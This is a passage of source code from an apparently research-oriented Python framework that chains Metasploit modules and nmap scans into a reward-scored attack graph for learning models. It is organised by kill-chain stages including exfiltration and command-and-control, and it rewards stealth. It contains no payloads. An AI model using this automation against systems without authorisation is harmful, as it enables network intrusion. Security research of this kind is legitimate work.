498 | # self._op1, self._op2, label=str(result1)
499 | # ) # edge between ops
500 | # self._graph.add_edge(
501 | # self._op2, self, label=str(self.post_state)
502 | # ) # edge between second op and addition
503 |
504 | if debug:
505 | print(
506 | color(
507 | "Debugging "
508 | + str(self.get_name())
509 | + " - "
510 | + str(self._op1)
511 | + " ["
512 | + str(result1)
513 | + "]"
514 | + " (op1) and "
515 | + str(self._op2)
516 | + " ["
517 | + str(result2)
518 | + "]"
519 | + " (op2): ",
520 | fg="white",
521 | bg="green",
522 | bold=True,
523 | )
524 | + color(
525 | " post_state: " + str(self.post_state),
526 | fg="black",
527 | bg="white",
528 | bold=True,
529 | )
530 | + color(
531 | " status: " + str(self.status),
532 | fg="black",
533 | bg="yellow",
534 | bold=True,
535 | )
536 | )
537 | self._graph.update(self, self.reward, self.post_state, auxiliary=True, debug=debug)
538 | return self.post_state
539 |
540 |
541 | class AddExploit(Exploit):
542 | """
543 | Mixes exploits propagating status in a serial manner.
544 | """
545 |
546 | def __init__(self, input1, input2, name="Add"):
547 | super(AddExploit, self).__init__(name)
548 | self._op1 = (
549 | StateExploit(input1) if not isinstance(input1, Exploit) else input1
550 | )
551 | self._op2 = (
552 | StateExploit(input2) if not isinstance(input2, Exploit) else input2
553 | )
554 | self._graph = graph.get_default_graph()
555 | self.reward = 0 # exceptionally, don't discount
556 |
557 | def _forward(self, state_input, target, debug=False):
558 | self._graph.add_to_graph(self)
559 | result1 = self._op1.forward(state_input, target, debug=debug)
560 | result2 = self._op2.forward(state_input, target, debug=debug)
561 |
562 | self.status = self._op1.status or self._op2.status
563 | self.pre_state = state_input
564 | self.post_state = result1 + result2
565 |
566 | # graph
567 | self._graph.add_edge(self._op1, self)
568 | self._graph.add_edge(self._op2, self)
569 |
570 | if debug:
571 | print(
572 | color(
573 | "Debugging "
574 | + str(self.get_name())
575 | + " - "
576 | + str(self._op1)
577 | + " ["
578 | + str(result1)
579 | + "]"
580 | + " (op1) and "
581 | + str(self._op2)
582 | + " ["
583 | + str(result2)
584 | + "]"
585 | + " (op2): ",
586 | fg="white",
587 | bg="green",
588 | bold=True,
589 | )
590 | + color(
591 | " post_state: " + str(self.post_state),
592 | fg="black",
593 | bg="white",
594 | bold=True,
595 | )
596 | + color(
597 | " status: " + str(self.status),
598 | fg="black",
599 | bg="yellow",
600 | bold=True,
601 | )
602 | )
603 | self._graph.update(self, self.reward, self.post_state, debug)
604 | return self.post_state
605 |
606 |
607 | class ExploitMSF(Exploit):
608 | """
609 | A class to organize MSF exploits and other actions
610 |
611 | Coded so that it's generic across all MSF possible actions.
612 |
613 | Arguments are passed as a dictionary and then into MSF
614 | through the client before running (_forward) the exploit.
615 |
616 | Attributes
617 | ----------
618 | adapter: AdapterMSF
619 | The adapter for the MSF framework, helps interact with it
620 | name : str
621 | name of the exploit according to MSF nomenclature
622 | exploit_type : state.State
623 | type of MSF exploit (e.g. "auxiliary" or "exploit")
624 | args : dict
625 | MSF exploit arguments as a dict
626 |
627 | NOTE: arguments are initialized to an empty dic by default
628 | """
629 |
630 | def __init__(self, adapter, name, exploit_type, args):
631 | super(ExploitMSF, self).__init__(name)
632 | self._adapter = adapter
633 | self._type = exploit_type
634 | self._graph = graph.get_default_graph()
635 | self._exploit = self._adapter.client.modules.use(self._type, self.name)
636 |
637 | # redefine rewards
638 | # NOTE: these can be overwritten externally, if desired
639 | #
640 | self.reward = -10 # default exploit reward
641 | self.success_reward = 50 # reward for successful exploit
642 |
643 | # set arguments/options
644 | for key in args.keys():
645 | self._exploit[key] = args[key]
646 |
647 | def __str__(self):
648 | return super().__str__()
649 |
650 | def __repr__(self):
651 | return super().__str__()
652 |
653 | def get_options(self):
654 | return self._exploit.options
655 |
656 | def set_options(self, args):
657 | for key in args.keys():
658 | self._exploit[key] = args[key]
659 |
660 | def missing(self):
661 | """Report on any missing required arguments"""
662 | return None if not self._exploit.missing_required else self._exploit.missing_required
663 |
664 | def _forward(self, state_input, target, debug=False):
665 | # reward to apply, default to negative
666 | reward = self.reward
667 |
668 | if state_input:
669 | self.pre_state = state_input
670 | else:
671 | self.pre_state = state.State_default() # New empty state
672 |
673 | self._graph.add_to_graph(self)
674 |
675 | # priotize exploit's target, over flow's target
676 | if self.target:
677 | flow_target = target
678 | target = self.target
679 |
680 | # execute the exploit (NOTE: blocking call)
681 | exploit_out = self._adapter.console.run_module_with_output(self._exploit)
682 |
683 | # # debug
684 | # print(exploit_out)
685 |
686 | # TODO: Consider more exploits as necessary in here
687 | if self.name == "scanner/discovery/arp_sweep":
688 | # process data and extract new IPs
689 |
690 | aux_state = state.State_default() # to be filled by the exploit processing
691 | # routine below
692 |
693 | data = exploit_out.rstrip().split('\n')
694 | ips = []
695 | for line in data:
696 | if '[+]' in line:
697 | line = line.replace("[+] ", "")
698 | if "appears to be up" in line:
699 | line = line.split(" appears to be up")
700 | ips.append(line[0])
701 |
702 | for ip in ips:
703 | aux_state.add_new(ip)
704 |
705 | # Turn post_state into the latest State (State_v2, State_v4, as appropriate)
706 | # by converting and then merging
707 | pre_state_aux = state.to_State(self.pre_state, target)
708 | pre_state_aux.merge(aux_state, target) # NOTE: overwrites pre_state_aux with aux_state
709 |
710 | # NOTE: Since ExploitMSF is not included into exploits_all
711 | # (which requires a class per each different exploit),
712 | # we add it in here to all targets and mark it as launched for
713 | # the target in particular
714 | for state_target in aux_state.states.keys():
715 | if state_target == target:
716 | aux_state.states[state_target].exploits.append(
717 | state.ExploitState_v1(self, True))
718 | else:
719 | aux_state.states[state_target].exploits.append(
720 | state.ExploitState_v1(self, False))
721 |
722 | self.post_state = aux_state
723 |
724 | else:
725 | if '[+]' in exploit_out:
726 | sigdata = exploit_out.rstrip().split('\n')
727 | for line in sigdata:
728 | if '[+]' in line:
729 | # print(line) # Exploit succeeded
730 | print(color(line, fg="white", bg="green"))
731 | reward *= -1 # negate reward for positive, successful exploit
732 |
733 | self.post_state = self.pre_state # no change
734 |
735 | # if no pre_state, create blank one
736 | if not self.post_state:
737 | self.post_state = state.State_default()
738 |
739 | if not self.post_state.states: # if dict states is empty
740 | self.post_state.add_new(target) # create a new state for target
741 |
742 | # mark exploit as launched, NOTE assumes post_state is PortState_v2 (or v4)
743 | for i, exploit_state in enumerate(self.post_state.states[target].exploits):
744 | # print("DEBUG: " + str(exploit_state.type))
745 | if isinstance(exploit_state.type, type): # if type is a class, PortState_v2
746 | if exploit_state.type == self.__class__:
747 | self.post_state.states[target].exploits[i].launched = True
748 | else: # if type is an object, PortState_v4
749 | if exploit_state.type == self.name:
750 | self.post_state.states[target].exploits[i].launched = True
751 |
752 | self.status = True # always succeed
753 |
754 | self.debug(debug, target)
755 | self._graph.update(self, reward, self.post_state, debug=debug)
756 | return self.post_state
757 |
--------------------------------------------------------------------------------
/exploitflow/flow.py:
--------------------------------------------------------------------------------
1 | # Copyright 2022 Víctor Mayoral-Vilches. All Rights Reserved.
2 | #
3 | # Licensed under the Apache License, Version 2.0 (the "License");
4 | # you may not use this file except in compliance with the License.
5 | # You may obtain a copy of the License at
6 | #
7 | # http://www.apache.org/licenses/LICENSE-2.0
8 | #
9 | # Unless required by applicable law or agreed to in writing, software
10 | # distributed under the License is distributed on an "AS IS" BASIS,
11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | # See the License for the specific language governing permissions and
13 | # limitations under the License.
14 | #
15 | # Inspired by https://github.com/tobegit3hub/miniflow
16 |
17 | from . import exploit
18 | from . import graph
19 | from .state import State_default
20 | from wasabi import color
21 |
22 |
23 | class Flow(object):
24 | """
25 | The exploit flow.
26 |
27 | Stores state transitions in the graph attribute.
28 | """
29 |
30 | def __init__(self, state_class=State_default, model=None):
31 | """[summary]
32 |
33 | Parameters
34 | ----------
35 | state_class : State class type, optional
36 | Stores the data representation class int he flow and its graph, by default State_default
37 | model : [type], optional
38 | """
39 | self.state_class = state_class
40 | self._graph = graph.get_default_graph(self.state_class)
41 |
42 | def __enter__(self):
43 | """Support with statement."""
44 | return self
45 |
46 | def __str__(self):
47 | """Returns the string representation of the flow"""
48 | return color("Final reward: ", fg="black", bg="grey", bold=True) + \
49 | color(" " + str(self.reward()) + " ", fg="white", bg="red", bold=True) + "\n" + \
50 | color("Final state: ", fg="black", bg="grey", bold=True) + \
51 | color(" " + str(self.state()) + " ", fg="white", bg="yellow", bold=True)
52 |
53 | def __exit__(self, type, value, trace):
54 | pass
55 |
56 | def plot(self):
57 | self._graph.plot()
58 |
59 | def ascii(self):
60 | return self._graph.ascii()
61 |
62 | def reward(self):
63 | """Returns the current reward of the graph"""
64 | return self._graph.reward
65 |
66 | def set_learning_model(self, model):
67 | """Sets the learning model of the graph"""
68 | self._graph.learning_model = model
69 |
70 | def get_learning_model(self):
71 | """Returns the learning model of the graph"""
72 | return self._graph.learning_model
73 |
74 | def set_state(self, state):
75 | """Sets the state of the graph
76 |
77 | NOTE: unlikely to be used, as the state is set
78 | by the learning model and the exploit flow
79 | """
80 | self._graph.state = state
81 |
82 | def state(self):
83 | """Returns the current state of the graph"""
84 | return self._graph.state
85 |
86 | def last_state(self):
87 | """Returns the last state of the graph"""
88 | return self._graph.last_state
89 |
90 | def last_action(self):
91 | """Returns the last action of the graph"""
92 | return self._graph.last_action
93 |
94 | def last_reward(self):
95 | """Returns the last reward of the graph"""
96 | return self._graph.last_reward
97 |
98 | def reset(self):
99 | """Resets the current flow"""
100 | self._graph.reward = 0 # stores overall computed reward
101 | self._graph.state = None # stores current state
102 | self._graph.last_state = None # stores the last state, before the last_action and
103 | # before receiving last_reward
104 | self._graph.last_action = None # stores the last action
105 | self._graph.last_reward = None # stores the last action
106 |
107 | def to_dot(self, dotfile_path="/tmp/exploitflow.dot"):
108 | self._graph.to_dot(dotfile_path)
109 |
110 | def run(self, expl, feed_dict=None, options=None, debug=False, target="127.0.0.1"):
111 | """Update the value of PlaceholerExploit with feed_dict data"""
112 |
113 | # sanitize input, consider that State might've been passed
114 | expl = exploit.StateExploit(expl) if not isinstance(expl, exploit.Exploit) else expl
115 | name_op_map = expl._graph.get_name_op_map()
116 |
117 | # # add a connection from previous states to the new expl
118 | # if expl:
119 | # self._graph.add_edge(self.state(), expl, label="run") # edge between ops
120 |
121 | if feed_dict != None:
122 | # Example: "Placeholder_1": 10} or {PlaceholderOp: 10}
123 | for op_or_opname, value in feed_dict.items():
124 | if isinstance(op_or_opname, str):
125 | placeholder_op = name_op_map[op_or_opname]
126 | else:
127 | placeholder_op = op_or_opname
128 |
129 | if isinstance(placeholder_op, exploit.PlaceholderExploit):
130 | placeholder_op.set_value(value)
131 |
132 | return expl.forward(None, target, debug=debug)
133 |
--------------------------------------------------------------------------------
/exploitflow/graph.py:
--------------------------------------------------------------------------------
1 | # Copyright 2022 Víctor Mayoral-Vilches. All Rights Reserved.
2 | #
3 | # Licensed under the Apache License, Version 2.0 (the "License");
4 | # you may not use this file except in compliance with the License.
5 | # You may obtain a copy of the License at
6 | #
7 | # http://www.apache.org/licenses/LICENSE-2.0
8 | #
9 | # Unless required by applicable law or agreed to in writing, software
10 | # distributed under the License is distributed on an "AS IS" BASIS,
11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | # See the License for the specific language governing permissions and
13 | # limitations under the License.
14 | #
15 | # Inspired by https://github.com/tobegit3hub/miniflow
16 |
17 | import logging
18 | import requests
19 | import networkx as nx
20 | from . import exploit
21 | from .state import State_default
22 |
23 |
24 | class Graph(nx.DiGraph):
25 | """
26 | A graph storing every discrete step in the exploitation flow.
27 |
28 | Uses networkx, resources:
29 | - source code https://github.com/networkx/networkx
30 | - algorithms https://networkx.org/documentation/stable/reference/algorithms/index.html
31 | - tutorial https://networkx.org/documentation/stable/tutorial.html
32 | """
33 |
34 | def __init__(self, state_class=State_default):
35 | super(Graph, self).__init__()
36 | self._name_op_map = {}
37 | self._trainable_variables_collection = {}
38 | self.state_class = state_class
39 |
40 | # learning-related attributes
41 | self.reward = 0 # stores overall computed cumulative reward
42 | self.state = None # stores current state
43 | self.last_state = None # stores the last state, before the last_action and
44 | # before receiving last_reward
45 | self.last_action = None # stores the last action
46 | self.last_reward = None # stores the last action's reward
47 | self.learning_model = None # stores the learning model, if applicable
48 |
49 | def get_name_op_map(self):
50 | return self._name_op_map
51 |
52 | def get_trainable_variables_collection(self):
53 | return self._trainable_variables_collection
54 |
55 | def add_to_trainable_variables_collection(self, key, value):
56 | if key in self._trainable_variables_collection:
57 | logging.warning(
58 | "The key: {} exists in trainable_variables_collection".format(key)
59 | )
60 | else:
61 | self._trainable_variables_collection[key] = value
62 |
63 | def get_unique_name(self, original_name):
64 | """Returns a unique name for the given original_name
65 |
66 | NOTE: applies only to Mul and Add operations, as they are the relevant ones
67 | which are repeated in the graph and don't count for the learning models
68 | """
69 | if "Mul" in original_name or \
70 | "Add" in original_name or \
71 | "State" in original_name:
72 |
73 | unique_name = original_name
74 | index = 0
75 | while unique_name in self._name_op_map.keys():
76 | index += 1
77 | base_name = unique_name.split("_")[0]
78 | unique_name = "{}_{}".format(base_name, index)
79 | return unique_name
80 | else:
81 | return original_name # do not change names, as it conflicts
82 | # with leaning models
83 |
84 | def add_to_graph(self, expl):
85 | unique_name = self.get_unique_name(expl.get_name())
86 | expl.set_name(unique_name)
87 | self._name_op_map[expl.get_name()] = expl
88 | self.add_node(expl)
89 |
90 | def add_reward_graph(self, reward):
91 | """Adds a reward to the graph"""
92 | self.reward += reward
93 | # return reward
94 |
95 | def updates_state(self, state):
96 | """Updates latest state in the graph"""
97 | self.state = state
98 |
99 | def update(self, expl, reward, state, auxiliary=False, debug=False):
100 | """Updates graph's state, after expl and obtaining reward
101 |
102 | Parameters
103 | ----------
104 | expl : Exploit
105 | corresponds with the action taken, the exploit
106 | reward : int
107 | numercial value representing the reward, positive or negative
108 | state : State
109 | resulting state after the exploit
110 | auxiliary : bool, optional
111 | whether the update is auxiliary or not, by default False. Used
112 | with no-op exploits, whose operation's results should not be added to the graph
113 | (e.g. MultipleExploit or StateExploit)
114 | debug : bool, optional
115 | whether to print debug messages or not, by default False
116 | """
117 |
118 | if not auxiliary:
119 | self.last_state = self.state
120 | self.last_reward = reward
121 | self.last_action = expl
122 |
123 | self.add_reward_graph(reward)
124 | self.updates_state(state)
125 |
126 | if debug:
127 | print("Graph.update()")
128 | print("\t action: ", expl)
129 | print("\t reward: ", reward)
130 | print("\t cum. reward: ", self.reward)
131 | print("\t state: ", state)
132 | print("\t auxiliary: ", auxiliary)
133 |
134 |
135 |
136 | def to_dot(self, dotfile_path) -> None:
137 | """Export graph to a dot file
138 |
139 | NOTE: simple ASCII art visualizations can be
140 | made with https://dot-to-ascii.ggerganov.com/
141 | """
142 | nx.nx_pydot.write_dot(self, dotfile_path)
143 |
144 | def ascii(self) -> str:
145 | """Export graph to an ASCII art string
146 |
147 | NOTE: uses https://github.com/ggerganov/dot-to-ascii
148 | """
149 | dot = nx.nx_pydot.to_pydot(self)
150 | return requests.get(
151 | "https://dot-to-ascii.ggerganov.com/dot-to-ascii.php",
152 | params={
153 | "boxart": 1, # 0 for not fancy
154 | "src": str(dot),
155 | },
156 | ).text
157 |
158 | def plot(self) -> None:
159 | import matplotlib.pyplot as plt
160 | from networkx.drawing.nx_pydot import graphviz_layout
161 |
162 | # node colors
163 | node_color = []
164 | for node in list(_default_graph.nodes):
165 | if type(node) is exploit.InitExploit:
166 | node_color.append("white")
167 | elif node.status:
168 | node_color.append("green")
169 | else:
170 | node_color.append("red")
171 |
172 | # labels
173 | labels = {}
174 | for node in list(_default_graph.nodes):
175 | if type(node) is exploit.ConstantExploit:
176 | labels[node] = str(node.name) + "|" + str(node._value)
177 | else:
178 | labels[node] = node.name
179 |
180 | # rest of drawing
181 | pos = graphviz_layout(self, prog="dot") # top-down tree
182 | nx.draw(
183 | self,
184 | node_color=node_color,
185 | with_labels=True,
186 | labels=labels,
187 | pos=pos,
188 | # connectionstyle="arc3,rad=0.2",
189 | )
190 |
191 | # redraw (other than Ops) Exploits
192 | exploits = [
193 | node
194 | for node in list(_default_graph.nodes)
195 | if (type(node) is exploit.ConstantExploit)
196 | or (type(node) is exploit.BoolExploit)
197 | ]
198 | nx.draw_networkx_nodes(self, pos, nodelist=exploits, node_shape="^")
199 |
200 | # draw edge labels
201 | edge_labels = nx.get_edge_attributes(self, "label")
202 | nx.draw_networkx_edge_labels(self, pos, edge_labels, font_size=5)
203 |
204 | plt.show()
205 |
206 |
207 | # TODO: Make global variable for all packages
208 | # i.e., consider moving it to __init__.py
209 | if "_default_graph" not in globals():
210 | _default_graph = None
211 |
212 |
213 | def get_default_graph(state_class=State_default):
214 | global _default_graph
215 | if _default_graph is None:
216 | _default_graph = Graph(state_class)
217 | return _default_graph
218 |
219 | def reset_default_graph(state_class=State_default):
220 | global _default_graph
221 | _default_graph = Graph(state_class)
222 | return _default_graph
223 |
--------------------------------------------------------------------------------
/exploitflow/killchain/__init__.py:
--------------------------------------------------------------------------------
1 | # Copyright 2022 Víctor Mayoral-Vilches. All Rights Reserved.
2 | #
3 | # Licensed under the Apache License, Version 2.0 (the "License");
4 | # you may not use this file except in compliance with the License.
5 | # You may obtain a copy of the License at
6 | #
7 | # http://www.apache.org/licenses/LICENSE-2.0
8 | #
9 | # Unless required by applicable law or agreed to in writing, software
10 | # distributed under the License is distributed on an "AS IS" BASIS,
11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | # See the License for the specific language governing permissions and
13 | # limitations under the License.
14 |
15 | # Exploits are organized using an adapted kill chain:
16 | #
17 | # 1. Reconnaissance and weaponization - reconnaissance
18 | # 2. Exploitation - exploitation
19 | # 3. Privilege escalation - escalation
20 | # 4. Lateral movement - lateral
21 | # 5. Data exfiltration - exfiltration
22 | # 6. Command and control - control
23 |
24 | from . import reconnaissance
25 | from . import exploitation
26 | from . import escalation
27 | from . import lateral
28 | from . import exfiltration
29 | from . import control
30 |
--------------------------------------------------------------------------------
/exploitflow/killchain/control/__init__.py:
--------------------------------------------------------------------------------
1 | # Copyright 2022 Víctor Mayoral-Vilches. All Rights Reserved.
2 | #
3 | # Licensed under the Apache License, Version 2.0 (the "License");
4 | # you may not use this file except in compliance with the License.
5 | # You may obtain a copy of the License at
6 | #
7 | # http://www.apache.org/licenses/LICENSE-2.0
8 | #
9 | # Unless required by applicable law or agreed to in writing, software
10 | # distributed under the License is distributed on an "AS IS" BASIS,
11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | # See the License for the specific language governing permissions and
13 | # limitations under the License.
14 |
15 | # Command and control
16 |
--------------------------------------------------------------------------------
/exploitflow/killchain/escalation/__init__.py:
--------------------------------------------------------------------------------
1 | # Copyright 2022 Víctor Mayoral-Vilches. All Rights Reserved.
2 | #
3 | # Licensed under the Apache License, Version 2.0 (the "License");
4 | # you may not use this file except in compliance with the License.
5 | # You may obtain a copy of the License at
6 | #
7 | # http://www.apache.org/licenses/LICENSE-2.0
8 | #
9 | # Unless required by applicable law or agreed to in writing, software
10 | # distributed under the License is distributed on an "AS IS" BASIS,
11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | # See the License for the specific language governing permissions and
13 | # limitations under the License.
14 |
15 | # Privilege escalation
16 |
--------------------------------------------------------------------------------
/exploitflow/killchain/exfiltration/__init__.py:
--------------------------------------------------------------------------------
1 | # Copyright 2022 Víctor Mayoral-Vilches. All Rights Reserved.
2 | #
3 | # Licensed under the Apache License, Version 2.0 (the "License");
4 | # you may not use this file except in compliance with the License.
5 | # You may obtain a copy of the License at
6 | #
7 | # http://www.apache.org/licenses/LICENSE-2.0
8 | #
9 | # Unless required by applicable law or agreed to in writing, software
10 | # distributed under the License is distributed on an "AS IS" BASIS,
11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | # See the License for the specific language governing permissions and
13 | # limitations under the License.
14 |
15 | # Data exfiltration
16 |
--------------------------------------------------------------------------------
/exploitflow/killchain/exploitation/__init__.py:
--------------------------------------------------------------------------------
1 | # Copyright 2022 Víctor Mayoral-Vilches. All Rights Reserved.
2 | #
3 | # Licensed under the Apache License, Version 2.0 (the "License");
4 | # you may not use this file except in compliance with the License.
5 | # You may obtain a copy of the License at
6 | #
7 | # http://www.apache.org/licenses/LICENSE-2.0
8 | #
9 | # Unless required by applicable law or agreed to in writing, software
10 | # distributed under the License is distributed on an "AS IS" BASIS,
11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | # See the License for the specific language governing permissions and
13 | # limitations under the License.
14 |
15 | # Exploitation
16 |
--------------------------------------------------------------------------------
/exploitflow/killchain/lateral/__init__.py:
--------------------------------------------------------------------------------
1 | # Copyright 2022 Víctor Mayoral-Vilches. All Rights Reserved.
2 | #
3 | # Licensed under the Apache License, Version 2.0 (the "License");
4 | # you may not use this file except in compliance with the License.
5 | # You may obtain a copy of the License at
6 | #
7 | # http://www.apache.org/licenses/LICENSE-2.0
8 | #
9 | # Unless required by applicable law or agreed to in writing, software
10 | # distributed under the License is distributed on an "AS IS" BASIS,
11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | # See the License for the specific language governing permissions and
13 | # limitations under the License.
14 |
15 | # Lateral movement
16 |
--------------------------------------------------------------------------------
/exploitflow/killchain/reconnaissance/__init__.py:
--------------------------------------------------------------------------------
1 | # Copyright 2022 Víctor Mayoral-Vilches. All Rights Reserved.
2 | #
3 | # Licensed under the Apache License, Version 2.0 (the "License");
4 | # you may not use this file except in compliance with the License.
5 | # You may obtain a copy of the License at
6 | #
7 | # http://www.apache.org/licenses/LICENSE-2.0
8 | #
9 | # Unless required by applicable law or agreed to in writing, software
10 | # distributed under the License is distributed on an "AS IS" BASIS,
11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | # See the License for the specific language governing permissions and
13 | # limitations under the License.
14 |
15 | # Reconnaissance and weaponization exploits
16 |
17 | from exploitflow.exploit import Exploit
18 | import exploitflow.graph as graph
19 |
20 |
21 | class ReconnaissanceExploit(Exploit):
22 | """
23 | An exploit subclass to group together reconnaissance actions.
24 | """
25 |
26 | def __init__(self, name="ReconnaissanceExploit"):
27 | super(ReconnaissanceExploit, self).__init__(name)
28 | self._graph = graph.get_default_graph()
29 | self._graph.add_to_graph(self)
30 |
31 |
32 | from . import versions
33 | from . import targets
34 |
--------------------------------------------------------------------------------
/exploitflow/killchain/reconnaissance/targets.py:
--------------------------------------------------------------------------------
1 | # Copyright 2022 Víctor Mayoral-Vilches. All Rights Reserved.
2 | #
3 | # Licensed under the Apache License, Version 2.0 (the "License");
4 | # you may not use this file except in compliance with the License.
5 | # You may obtain a copy of the License at
6 | #
7 | # http://www.apache.org/licenses/LICENSE-2.0
8 | #
9 | # Unless required by applicable law or agreed to in writing, software
10 | # distributed under the License is distributed on an "AS IS" BASIS,
11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | # See the License for the specific language governing permissions and
13 | # limitations under the License.
14 | #
15 | # Access to this exploit and the use of information, materials (or portions
16 | # thereof), is not intended, and is prohibited, where such access or use
17 | # violates applicable laws or regulations. By no means the authors
18 | # encourage or promote the unauthorized tampering with running
19 | # systems. This can cause serious human harm and material damages.
20 |
21 | from exploitflow.killchain.reconnaissance import ReconnaissanceExploit
22 | from exploitflow.state import *
23 | from exploitflow.common import *
24 | import json
25 | import xmltodict
26 | import copy
27 | from wasabi import color
28 | import pprint
29 |
30 |
31 | class TargetsExploit(ReconnaissanceExploit):
32 | """
33 | Leverages Nmap to locate targets
34 |
35 | NOTE: exploit launches against all targets (and should be marked
36 | appropriately)
37 | """
38 | def __init__(self, subnet=None, name="TargetsExploit"):
39 | super(TargetsExploit, self).__init__(name)
40 | self.subnet = subnet
41 |
42 | def _forward(self, state_input, target, debug=False) -> State:
43 | if state_input:
44 | self.pre_state = state_input
45 | else:
46 | self.pre_state = State_default() # New empty state
47 |
48 | # priotize exploit's target, over flow's target
49 | if self.target:
50 | flow_target = target
51 | target = self.target
52 |
53 | # if subnet passed as part of the constructor, use it
54 | # otherwise construct it from "target"
55 | target_subnet = None
56 | if self.subnet:
57 | target_subnet = self.subnet
58 | else:
59 | target_subnet = target + "/24"
60 |
61 | # manually invoke and process nmap XML output
62 | nmap_command = (
63 | "nmap -oX - -sn "
64 | + target_subnet
65 | )
66 | xml = shellout(nmap_command)
67 | nmap_results = xmltodict.parse(xml)
68 |
69 | # print(json.dumps(nmap_results, indent=4, sort_keys=True)) # debug
70 |
71 | # TODO: Note that if there's only one port, data structure is different
72 | # see https://avleonov.com/2018/03/11/converting-nmap-xml-scan-reports-to-json/
73 | # for an example
74 |
75 | # NOTE, turns input state into latest State and ensures
76 | # that it's not empty (add least state for target)
77 | aux_state = to_State(self.pre_state, target)
78 | if not aux_state.states: # if dict states is empty
79 | aux_state.add_new(target) # create a new state for target
80 |
81 | # extra reward
82 | # NOTE: adds a "-1" per each host that is up
83 | # since the goal is to remain stealthy
84 | extra_reward = 0
85 |
86 | for target_nmap in nmap_results["nmaprun"]["host"]:
87 | if target_nmap["status"]["@state"] == "up":
88 | # could come as a list or as a dict
89 | if type(target_nmap["address"]) == list:
90 | ipaddr = str(target_nmap["address"][0]["@addr"])
91 | elif type(target_nmap["address"]) == dict:
92 | ipaddr = str(target_nmap["address"]["@addr"])
93 | else:
94 | raise Exception("Unknown data type for address")
95 |
96 | if not ipaddr in aux_state.states.keys():
97 | aux_state.add_new(ipaddr)
98 | extra_reward -= 1
99 |
100 | self.post_state = aux_state
101 |
102 | # mark exploit as launched, NOTE assumes post_state is PortState_v2 (or v4)
103 | for state_target in self.post_state.states.keys():
104 | # mark exploit as launched, NOTE assumes post_state is PortState_v2 (or v4)
105 | for i, exploit_state in enumerate(self.post_state.states[state_target].exploits):
106 | # print("DEBUG: " + str(exploit_state.type))
107 | if isinstance(exploit_state.type, type): # if type is a class, PortState_v2
108 | if exploit_state.type == self.__class__:
109 | self.post_state.states[state_target].exploits[i].launched = True
110 | else: # if type is an object, PortState_v4
111 | if exploit_state.type == self.name:
112 | self.post_state.states[state_target].exploits[i].launched = True
113 |
114 | self.status = (
115 | nmap_results["nmaprun"]["runstats"]["finished"]["@exit"] == "success"
116 | )
117 | self.debug(debug, nmap_results=nmap_results, target=target)
118 |
119 | # NOTE add reward (and extra, if applicable) to the graph
120 | self.reward = self.reward + extra_reward
121 | # update graph
122 | self._graph.update(self, self.reward, self.post_state, debug=debug)
123 |
124 | return self.post_state
125 |
126 | def debug(self, debug, nmap_results=None, target=None):
127 | if debug:
128 | super(ReconnaissanceExploit, self).debug(debug, target)
129 | # if nmap_results:
130 | # for target_nmap in nmap_results["nmaprun"]["host"]:
131 | # if target_nmap["status"]["@state"] == "up":
132 | # ipaddr = str(target_nmap["address"][0]["@addr"])
133 | # print("- " + ipaddr)
--------------------------------------------------------------------------------
/exploitflow/killchain/reconnaissance/versions.py:
--------------------------------------------------------------------------------
1 | # Copyright 2022 Víctor Mayoral-Vilches. All Rights Reserved.
2 | #
3 | # Licensed under the Apache License, Version 2.0 (the "License");
4 | # you may not use this file except in compliance with the License.
5 | # You may obtain a copy of the License at
6 | #
7 | # http://www.apache.org/licenses/LICENSE-2.0
8 | #
9 | # Unless required by applicable law or agreed to in writing, software
10 | # distributed under the License is distributed on an "AS IS" BASIS,
11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | # See the License for the specific language governing permissions and
13 | # limitations under the License.
14 | #
15 | # Access to this exploit and the use of information, materials (or portions
16 | # thereof), is not intended, and is prohibited, where such access or use
17 | # violates applicable laws or regulations. By no means the authors
18 | # encourage or promote the unauthorized tampering with running
19 | # systems. This can cause serious human harm and material damages.
20 |
21 | from exploitflow.killchain.reconnaissance import ReconnaissanceExploit
22 | from exploitflow.state import *
23 | from exploitflow.common import *
24 | import json
25 | import xmltodict
26 | import copy
27 | from wasabi import color
28 |
29 |
30 | class VersionExploit(ReconnaissanceExploit):
31 | """
32 | Scan for versions in a given port-range
33 | """
34 | def __init__(self, ports=TARGET_PORTS_BASIC, name="VersionExploit"):
35 | super(VersionExploit, self).__init__(name)
36 | self.ports = ports
37 |
38 | def _forward(self, state_input, target, debug=False) -> State:
39 | if state_input:
40 | self.pre_state = state_input
41 | else:
42 | self.pre_state = State_default() # New empty state
43 |
44 | # priotize exploit's target, over flow's target
45 | if self.target:
46 | flow_target = target
47 | target = self.target
48 |
49 | # manually invoke and process nmap XML output
50 | if self.ports:
51 | nmap_command = (
52 | "nmap -oX - -sV "
53 | + target
54 | + " -p "
55 | + "".join([str(x) + "," for x in self.ports])
56 | )
57 | else:
58 | nmap_command = (
59 | "nmap -oX - -sV "
60 | + target
61 | + " -p "
62 | + "".join([str(x) + "," for x in TARGET_PORTS_ALL])
63 | )
64 | xml = shellout(nmap_command)
65 | nmap_results = xmltodict.parse(xml)
66 |
67 | # print(json.dumps(nmap_results, indent=4, sort_keys=True)) # debug
68 |
69 | # TODO: Note that if there's only one port, data structure is different
70 | # see https://avleonov.com/2018/03/11/converting-nmap-xml-scan-reports-to-json/
71 | # for an example
72 |
73 | # NOTE, turns input state into State and ensures
74 | # that it's not empty (add least state for target)
75 | aux_state = to_State(self.pre_state, target)
76 | if not aux_state.states: # if dict states is empty
77 | aux_state.add_new(target) # create a new state for target
78 |
79 | # evaluate only if results for ports
80 | if "port" in nmap_results["nmaprun"]["host"]["ports"].keys():
81 | # consider if only one result,
82 | if type(nmap_results["nmaprun"]["host"]["ports"]["port"]) == dict:
83 | port = nmap_results["nmaprun"]["host"]["ports"]["port"]
